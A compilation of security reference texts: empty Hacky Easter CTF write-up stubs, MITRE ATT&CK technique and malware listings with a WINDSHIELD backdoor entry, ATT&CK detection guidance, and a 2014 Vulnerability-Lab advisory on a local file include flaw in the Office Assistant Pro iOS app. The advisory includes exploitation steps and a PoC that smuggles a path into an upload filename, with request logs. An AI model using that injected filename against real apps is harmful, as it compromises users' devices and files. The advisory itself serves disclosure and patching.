twisted, maybe.  ## Solution We tried and failed to untwist it with gimp (filters → distort → IWarp). So we recreated it in [QRazy Box][1], at least enough of it that it would decode.  [1]: https://merricx.github.io/qrazybox/ --- layout: writeup title: Symphony in HEX level: difficulty: points: categories: [] tags: [] flag: --- A lost symphony of the genius has reappeared.  Hint: count quavers, read semibreves Once you found the solution, enter it in the egg-o-matic below. Uppercase only, and no spaces! ## Solution ## Egg --- layout: writeup title: Hidden level: Hidden difficulty: points: categories: [] tags: [] flag: --- ## Challenge ## Solution ## Egg --- layout: writeup title: Disco level: difficulty: points: categories: [] tags: [] flag: --- ## Challenge This year, we dance outside, yeaahh! See here. https://hackyeaster.hacking-lab.com/hackyeaster/challenges/disco2/disco2.html ## Solution ## Egg --- layout: writeup title: "The Hunt: Muddy Quagmire" level: difficulty: points: categories: [] tags: [] flag: --- ## Challenge ## Solution ## Egg --- layout: writeup title: The Maze level: difficulty: points: categories: [] tags: [] flag: --- ## Challenge ## Solution ## Egg --- layout: writeup title: New Egg Design level: difficulty: points: categories: [] tags: [] flag: --- Thumper is looking for a new design for his eggs. He tried several filters with his graphics program, but unfortunately the QR codes got unreadable. Can you help him?!  ## Challenge ## Solution ## Egg --- layout: writeup title: Scrambled Egg level: difficulty: points: categories: [] tags: [] flag: --- ## Challenge ## Solution ## Egg --- layout: writeup title: 'Cool Car' level: difficulty: easy points: categories: [] tags: [] flag: MuxlR4DSDdQDUeyKhKnT --- ## Challenge (Mobile Challenge)  Borat wants to impress the girls. Can you help him find a cool car for his purpose? ## Solution There is a meter we presumably need to fill, source code from decompiled apk shows: function setLevel(l) { if (l>1000) l=1000; $('#level').css('width',(l/4)+'px'); $('#level').css('background-color', 'rgba(' + Math.round((1000-l)*0.255) + ',' + Math.round(l*0.255) + ',0,1.0)'); $('#level').text(""+Math.round(l)); } function requestLevels() { window.location.href="ps://sensors"; } function sensorFeedback(json) { var jsonResp = JSON.parse(json); setLevel(jsonResp.l);
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CTF-writeups-public.txt
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Currently viewing ATT&CK v10.1 which was live between October 21, 2021 and April 24, 2022. Learn more about the versioning system or see the live site. TECHNIQUES Enterprise Reconnaissance Active Scanning Scanning IP Blocks Vulnerability Scanning Gather Victim Host Information Hardware Software Firmware Client Configurations Gather Victim Identity Information Credentials Email Addresses Employee Names Gather Victim Network Information Domain Properties DNS Network Trust Dependencies Network Topology IP Addresses Network Security Appliances Gather Victim Org Information Determine Physical Locations Business Relationships Identify Business Tempo Identify Roles Phishing for Information Spearphishing Service Spearphishing Attachment Spearphishing Link Search Closed Sources Threat Intel Vendors Purchase Technical Data Search Open Technical Databases DNS/Passive DNS WHOIS Digital Certificates CDNs Scan Databases Search Open Websites/Domains Social Media Search Engines Search Victim-Owned Websites Resource Development Acquire Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Compromise Accounts Social Media Accounts Email Accounts Compromise Infrastructure Domains DNS Server Virtual Private Server Server Botnet Web Services Develop Capabilities Malware Code Signing Certificates Digital Certificates Exploits Establish Accounts Social Media Accounts Email Accounts Obtain Capabilities Malware Tool Code Signing Certificates Digital Certificates Exploits Vulnerabilities Stage Capabilities Upload Malware Upload Tool Install Digital Certificate Drive-by Target Link Target Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Phishing Spearphishing Attachment Spearphishing Link Spearphishing via Service Replication Through Removable Media Supply Chain Compromise Compromise Software Dependencies and Development Tools Compromise Software Supply Chain Compromise Hardware Supply Chain Trusted Relationship Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Execution Command and Scripting Interpreter PowerShell AppleScript Windows Command Shell Unix Shell Visual Basic Python JavaScript Network Device CLI Container Administration Command Deploy Container Exploitation for Client Execution Inter-Process Communication Component Object Model Dynamic Data Exchange Native API Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Shared Modules Software Deployment Tools System Services Launchctl Service Execution User Execution Malicious Link Malicious File Malicious Image Windows Management Instrumentation Persistence Account Manipulation Additional Cloud Credentials Exchange Email Delegate Permissions Add Office 365 Global Administrator Role SSH Authorized Keys BITS Jobs Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Login Items Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Browser Extensions Compromise Client Software Binary Create Account Local Account Domain Account Cloud Account Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking External Remote Services Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Implant Internal Image Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Office Application Startup Office Template Macros Office Test Outlook Forms Outlook Home Page Outlook Rules Add-ins Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Server Software Component SQL Stored Procedures Transport Agent Web Shell IIS Components Traffic Signaling Port Knocking Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Privilege Escalation Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection Boot or Logon Autostart Execution Registry Run Keys / Startup Folder Authentication Package Time Providers Winlogon Helper DLL Security Support Provider Kernel Modules and Extensions Re-opened Applications LSASS Driver Shortcut Modification Port Monitors Plist Modification Print Processors XDG Autostart Entries Active Setup Login Items Boot or Logon Initialization Scripts Logon Script (Windows) Logon Script (Mac) Network Logon Script RC Scripts Startup Items Create or Modify System Process Launch Agent Systemd Service Windows Service Launch Daemon Domain Policy Modification Group Policy Modification Domain Trust Modification Escape to Host Event Triggered Execution Change Default File Association Screensaver Windows Management Instrumentation Event Subscription Unix Shell Configuration Modification Trap LC_LOAD_DYLIB Addition Netsh Helper DLL Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Image File Execution Options Injection PowerShell Profile Emond Component Object Model Hijacking Exploitation for Privilege Escalation Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Scheduled Task/Job At (Linux) At (Windows) Cron Launchd Scheduled Task Systemd Timers Container Orchestration Job Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Defense Evasion Abuse Elevation Control Mechanism Setuid and Setgid Bypass User Account Control Sudo and Sudo Caching Elevated Execution with Prompt Access Token Manipulation Token Impersonation/Theft Create Process with Token Make and Impersonate Token Parent PID Spoofing SID-History Injection BITS Jobs Build Image on Host Deobfuscate/Decode Files or Information Deploy Container Direct Volume Access Domain Policy Modification Group Policy Modification Domain Trust Modification Execution Guardrails Environmental Keying Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hidden File System Run Virtual Instance VBA Stomping Email Hiding Rules Resource Forking Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Impair Defenses Disable or Modify Tools Disable Windows Event Logging Impair Command History Logging Disable or Modify System Firewall Indicator Blocking Disable or Modify Cloud Firewall Disable Cloud Logs Safe Mode Boot Downgrade Attack Indicator Removal on Host Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name or Location Space after Filename Double File Extension Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Modify Cloud Compute Infrastructure Create Snapshot Create Cloud Instance Delete Cloud Instance Revert Cloud Instance Modify Registry Modify System Image Patch System Image Downgrade System Image Network Boundary Bridging Network Address Translation Traversal Obfuscated Files or Information Binary Padding Software Packing Steganography Compile After Delivery Indicator Removal from Tools HTML Smuggling Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Reflective Code Loading Rogue Domain Controller Rootkit Signed Binary Proxy Execution Compiled HTML File Control Panel CMSTP InstallUtil Mshta Msiexec Odbcconf Regsvcs/Regasm Regsvr Rundll Verclsid Mavinject MMC Signed Script Proxy Execution PubPrn Subvert Trust Controls Gatekeeper Bypass Code Signing SIP and Trust Provider Hijacking Install Root Certificate Mark-of-the-Web Bypass Code Signing Policy Modification Template Injection Traffic Signaling Port Knocking Trusted Developer Utilities Proxy Execution MSBuild Unused/Unsupported Cloud Regions Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Weaken Encryption Reduce Key Space Disable Crypto Hardware XSL Script Processing Credential Access Adversary-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Brute Force Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Two-Factor Authentication Interception Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Cloud Storage Object Discovery Container and Resource Discovery Domain Trust Discovery
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versions_v10_techniques_T1059_002.txt
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Currently viewing ATT&CK v7.0-beta which was live between March 31, 2020 and July 7, 2020. Learn more about the versioning system or see the live site. You are currently viewing the sub-techniques beta. Take a tour, read the blog post or release notes, or see the non-beta version of the site. SOFTWARE Overview 3PARA RAT 4H RAT adbupd Adups ADVSTORESHELL Agent Tesla Agent.btz Allwinner Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Arp ASPXSpy Astaroth at AuditCred AutoIt backdoor Azorult BabyShark Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOSTWRITE BOOTRASH BrainTest Brave Prince Briba BS BUBBLEWRAP Cachedump CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT Catchamas CCBkdr certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT CORALDECK CORESHELL CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice Dendroid Denis Derusbi Dipsind DOGCALL Dok Downdelph DownPaper DressCode Dridex DroidJack dsquery DualToy Duqu DustySky Dvmap Dyre Ebury Elise ELMER Emissary Emotet Empire Epic esentutl EvilBunny EvilGrab Exaramel for Linux Exaramel for Windows Exodus Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FruitFly FTP Fysbis Gazer GeminiDuke gh0st RAT GLOOXMAIL Gold Dragon GolfSpy Gooligan GravityRAT GreyEnergy GRIFFON gsecdump Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro ifconfig iKitten Impacket InnaputRAT InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy KARAE Kasidet Kazuar KeyBoy Keydnap KEYMARBLE KeyRaider Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax LOWBALL Lslsass Lurid Machete MacSpy MailSniper Marcher Matroyshka MazarBOT meek Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler NETWIRE Nidiran njRAT Nltest NOKKI NotCompatible NotPetya OBAD OceanSalt Octopus OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PlugX pngdowner PoisonIvy POORAIM PoshC POSHSPY Power Loader PowerDuke POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump QUADAGENT QuasarRAT RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDFSNIFFER Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT RGDoor Riltok RIPTIDE RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT S-Type Sakula SamSam schtasks SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon ShiftyBug SHIPSHAPE SHOTPUT SHUTTERSPEED SimBad Skeleton Key Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx Sykipot SynAck Sys Systeminfo T Taidoor Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor TrickBot Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBStealer Vasport VERMIN ViceLeaker Volgmer WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WINERACK Winexe Wingbird WinMM Winnti Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel Yahoyah YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell SOFTWARE Overview 1- 3PARA RAT 4H RAT A-B adbupd Adups ADVSTORESHELL Agent Tesla Agent.btz Allwinner Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Arp ASPXSpy Astaroth at AuditCred AutoIt backdoor Azorult BabyShark Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOSTWRITE BOOTRASH BrainTest Brave Prince Briba BS BUBBLEWRAP C-D Cachedump CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT Catchamas CCBkdr certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT CORALDECK CORESHELL CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice Dendroid Denis Derusbi Dipsind DOGCALL Dok Downdelph DownPaper DressCode Dridex DroidJack dsquery DualToy Duqu DustySky Dvmap Dyre E-F Ebury Elise ELMER Emissary Emotet Empire Epic esentutl EvilBunny EvilGrab Exaramel for Linux Exaramel for Windows Exodus Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FruitFly FTP Fysbis G-H Gazer GeminiDuke gh0st RAT GLOOXMAIL Gold Dragon GolfSpy Gooligan GravityRAT GreyEnergy GRIFFON gsecdump Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro I-J ifconfig iKitten Impacket InnaputRAT InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy K-L KARAE Kasidet Kazuar KeyBoy Keydnap KEYMARBLE KeyRaider Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax LOWBALL Lslsass Lurid M-N Machete MacSpy MailSniper Marcher Matroyshka MazarBOT meek Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler NETWIRE Nidiran njRAT Nltest NOKKI NotCompatible NotPetya O-P OBAD OceanSalt Octopus OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PlugX pngdowner PoisonIvy POORAIM PoshC POSHSPY Power Loader PowerDuke POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Q-R QUADAGENT QuasarRAT RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDFSNIFFER Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT RGDoor Riltok RIPTIDE RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT S-T S-Type Sakula SamSam schtasks SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon ShiftyBug SHIPSHAPE SHOTPUT SHUTTERSPEED SimBad Skeleton Key Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx Sykipot SynAck Sys Systeminfo T Taidoor Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor TrickBot Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TURNEDUP Twitoor TYPEFRAME U-V UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBStealer Vasport VERMIN ViceLeaker Volgmer W-X WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WINERACK Winexe Wingbird WinMM Winnti Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel Y-Z Yahoyah YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell - Home - Software - WINDSHIELD WINDSHIELD WINDSHIELD is a signature backdoor used by APT32. [1] ID: S Type: MALWARE Platforms: Windows Version: 1. Created: 14 December Last Modified: 17 October Version Permalink Live Version ATT&CK® Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use Enterprise T . Indicator Removal on Host: File Deletion WINDSHIELD is capable of file deletion along with other file system interaction.[1] Enterprise T Non-Application Layer Protocol WINDSHIELD C2 traffic can communicate via TCP raw sockets.[1] Enterprise T Query Registry WINDSHIELD can gather Registry values.[1] Enterprise T System Information Discovery WINDSHIELD can gather the victim computer name.[1] Enterprise T System Owner/User Discovery WINDSHIELD can gather the victim user name.[1] Groups That Use This Software ID Name References G APT [1] References - Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017. × load more results
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versions_v7-beta_software_S0155.txt
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Document Title: =============== Office Assistant Pro v2.2.2 iOS - File Include Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id= Release Date: ============= 2014-02- Vulnerability Laboratory ID (VL-ID): ==================================== Common Vulnerability Scoring System: ==================================== 6. Product & Service Introduction: =============================== Office Assistant Pro is an All-Powerful office suite specially designed for you to deal with the Office affairs anywhere, anytime on iPhone, iPad or iPod touch. With Office Assistant Pro, you can high-efficiently manage almost all type of files by `ONE PAGE` model and make Notes, Reminders, Meeting Recorder as below. The powerful file manager: high-efficiently File Management in only “ONE PAGE” and easily File Transferred between local and cloud storage. You can complete all of your operations in `ONE PAGE`. ( Copy of the Homepage: https://itunes.apple.com/us/app/office-assistant-pro-full/id449595696 ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a local file include web vulnerability in the official Beijing Elinasoft Technologies - Office Assistant Pro v2.2.2 iOS mobile web-application. Vulnerability Disclosure Timeline: ================================== 2014-02-13: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Beijing Elinasoft Technologies Product: Office Assistant Pro - iOS Mobile Web Application 2.2. Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local file include web vulnerability has been discovered in the official Beijing Elinasoft Office Assistant Pro v2.2.2 iOS mobile web-application. The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise the web-application or mobile device. The web vulnerability is located in the `file name` value of the `Upload` module POST method request. Remote attackers are able to inject own files with malicious filename to compromise the mobile application. The attack vector is persistent and the request method is POST. The local file/path include execution occcurs in the main file dir index- or sub category item listing of the file manager. The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.8(+)|(-)6.9. Exploitation of the local file include web vulnerability requires no user interaction or privileged mobile web-application user account with password. Successful exploitation of the local web vulnerability results in mobile application or connected device component compromise by unauthorized local file include web attacks. Request Method(s): [+] [POST] Vulnerable Input(s): [+] Upload Vulnerable Parameter(s): [+] filename Affected Module(s): [+] Index File Dir Item Listing Proof of Concept (PoC): ======================= The local file include web vulnerability can be exploited by remote attackers without user interaction or privileged mobile application user account. For security demonstration or to reproduce the local file include web vulnerability follow the provided information and steps below. Manually exploitation steps to reproduce the vulnerability ... 1. Install the Beijing Elinasoft Office Assistant Pro v2.2.2 iOS mobile web-application 2. Now visit from a remot ecomputer the wifi web-interface of the service 3. Click the upload button and tamper the next request (POST method) 4. Exchange the filename value with your own malicious local file or path request 5. Continue after the intercept and refresh the index file dir 6. The malicious local file request execution occurs in the main file dir index listing 7. Successful reproduce of the vulnerability! PoC: Index File Dir Item Listing - Upload > [filename] <tbody><tr><td>Name</td><td width="20px"> </td><td>Last modified</td><td width="20px"> </td> <td style="text-align:right">Size</td></tr><tr><td colspan="5"><hr></td></tr><tr><td><a href="http://192.168.2.109:8080/User%20Manual/">User Manual/</a></td> <td> </td><td style="font-size:9pt;">12.02.2014 01:43</td><td> </td><td style="text-align:right; font-size:9pt;">--</td></tr><tr><td colspan="5"><hr></td></tr> <tr><td><a href="http://localhost:8080/%3%2F./[LOCAL FILE INCLUDE VULNERABILITY!]'<"><%2F./[LOCAL FILE INCLUDE VULNERABILITY!]'<"></a></td><td> </td><td style="font-size:9pt;">12.02. 01:44</td><td> </td><td style="text-align:right; font-size:9pt;"> 23. Kb</td></tr></table></p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button" value="Upload" /></label></form><p> </p><hr /><font size="2" style="color:gray">© 2014 Elinasoft Technologies Ltd. All Rights Reserved.</font><br><font size="2"><a href="http://www.x.com">http://www.x.com</a></font><br><font size="2"><a href="http://x.com/elinasoft">http://x.com/elinasoft</a></font><br><font size="2"><a href="http://x.com/elinasoft">http://x.com/elinasoft</a></font></body></html></iframe></a></td></tr></tbody> --- PoC Session Logs [POST] --- Status: 200[OK] POST http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[1739] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://192.168.2.109:8080/] Cookie[jtable%2376270709page-size=10] Connection[keep-alive] POST-Daten: POST_DATA[----------------------------- Content-Disposition: form-data; name="file"; filename="%2F./[LOCAL FILE INCLUDE VULNERABILITY!]'<" Content-Type: image/jpeg Reference(s): URL http://localhost:8080/ Solution - Fix & Patch: ======================= The local web vulnerability can be patched by a secure parse and input restriction of the vulnerable filename value. Ensure that the POST method request of the upload function is secure to prevent file include and persistent script code injection attacks. Security Risk: ============== The security risk of the local file include web vulnerability is estimated as high(+). Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2014 | Vulnerability Laboratory [Evolution Security] -- VULNERABILITY LABORATORY RESEARCH TEAM DOMAIN: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com
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31691.txt
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anomalies in use of files that do not normally initiate connections for respective protocol(s)). . Application or System Exploitation Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Enterprise T Establish Accounts Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). . Social Media Accounts Monitor and analyze traffic patterns and packet inspection associated to 